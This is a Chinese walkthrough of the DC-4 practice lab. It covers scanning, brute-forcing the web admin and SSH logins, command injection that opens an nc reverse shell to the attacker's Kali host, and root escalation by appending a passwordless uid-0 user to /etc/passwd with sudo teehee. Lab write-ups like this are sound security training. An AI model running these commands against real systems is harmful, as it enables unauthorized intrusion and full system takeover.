DC-4靶场练习
DC-4靶场练习
环境
kali:192.168.10.128
dc-4:192.168.10.191(未知)
信息收集
先探测主机,发现靶机dc-4
nmap 192.168.10.0/24
靶机IP为192.168.10.191,开放了22和80端口
经过dc-2的教训,查看作者是否还隐藏了其他端口
nmap -A -p 1-65535 192.168.10.191
就两个开放的端口
打开web端,只有一个简单的登录界面
根据Admin Information Systems Login
提示,这里是让我们用admin登录
弱口令爆破
Username:admin,Password:随便填,点击Submit,用burpsuite抓包进行密码爆破
密码字典我随便用一个,经过一段时间,密码爆破出来了
密码为happy
尝试登录:
登录成功
命令执行
登录成功后,点击Command ,发现这里是执行命令的页面
用burpsuite进行抓包重放
可以发现这里的命令,空格用+
号代替了
尝试更改使用其他命令,看看这里能否执行:
这里我把命令改为了id
可以看到命令执行了
尝试反弹shell
kali:nc -lvvp 1234
http请求包处的命令改为:
radio=nc+-e+/bin/bash+192.168.10.128+1234&submit=Run
可以看到反弹shell成功
为了控制台好看一丢丢,输入下面的命令
python -c "import pty;pty.spawn('/bin/bash')"
寻找有用的信息
在/home 目录下发现了charles jim sam这三个目录
但是只有jim目录有东西
在backups目录下看到了个old-password.bak,打开一看,是个密码字典
先保存下来,命名为old-password.txt
查看下一个文件
cat mbox
发现没有权限
先不管它,看看test.sh
cat test.sh
没啥有用的信息,但是这好像是个提示
对22端口下手
我们还有个端口没有用到,22端口,ssh连接
连接条件是,需要用户名和密码。刚刚再/home目录下的三个目录名charles jim sam,应该就是存在的用户名,只有jim文件夹下有东西,ssh连接使用的用户名可以确定用的是jim,密码应该用的是
old-password.bak中的其中一个
所以,这里用hydra对ssh的密码进行爆破
hydra -l jim -P old-password.txt 192.168.10.191 ssh -v
-l 指定用户名,
-P 指定密码字典
-v 现实详细的执行过程
密码爆破出来了,为jibril04
ssh连接
ssh jim@192.168.10.191
密码:jibril04
连接成功
查看mbox,发现是发给jim的一封邮件的一些描述
去/var/mail查看邮件
在这可以看到有charles 的密码^xHhA&hvim0y
提权
切换用户
su charles
切换成功!
尝试sudo提权
sudo -l
发现该用户有一个root权限的命令:teehee
teehee命令可以写入文件内容并不覆盖文件原有内容
使用teehee命令将一个无密码用户admin写入到/etc/passwd文件,并加入到root组中
格式:
用户名:是否有密码保护(x即有保护):uid:gid:全称:home目录:/bin/bash
用该命令提权
echo "hacker::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
追加并提权成功
找flag
按照dc-4之前的靶机,最后的flag都是在root文件夹下的
不出所料啊,在root文件夹下找到flag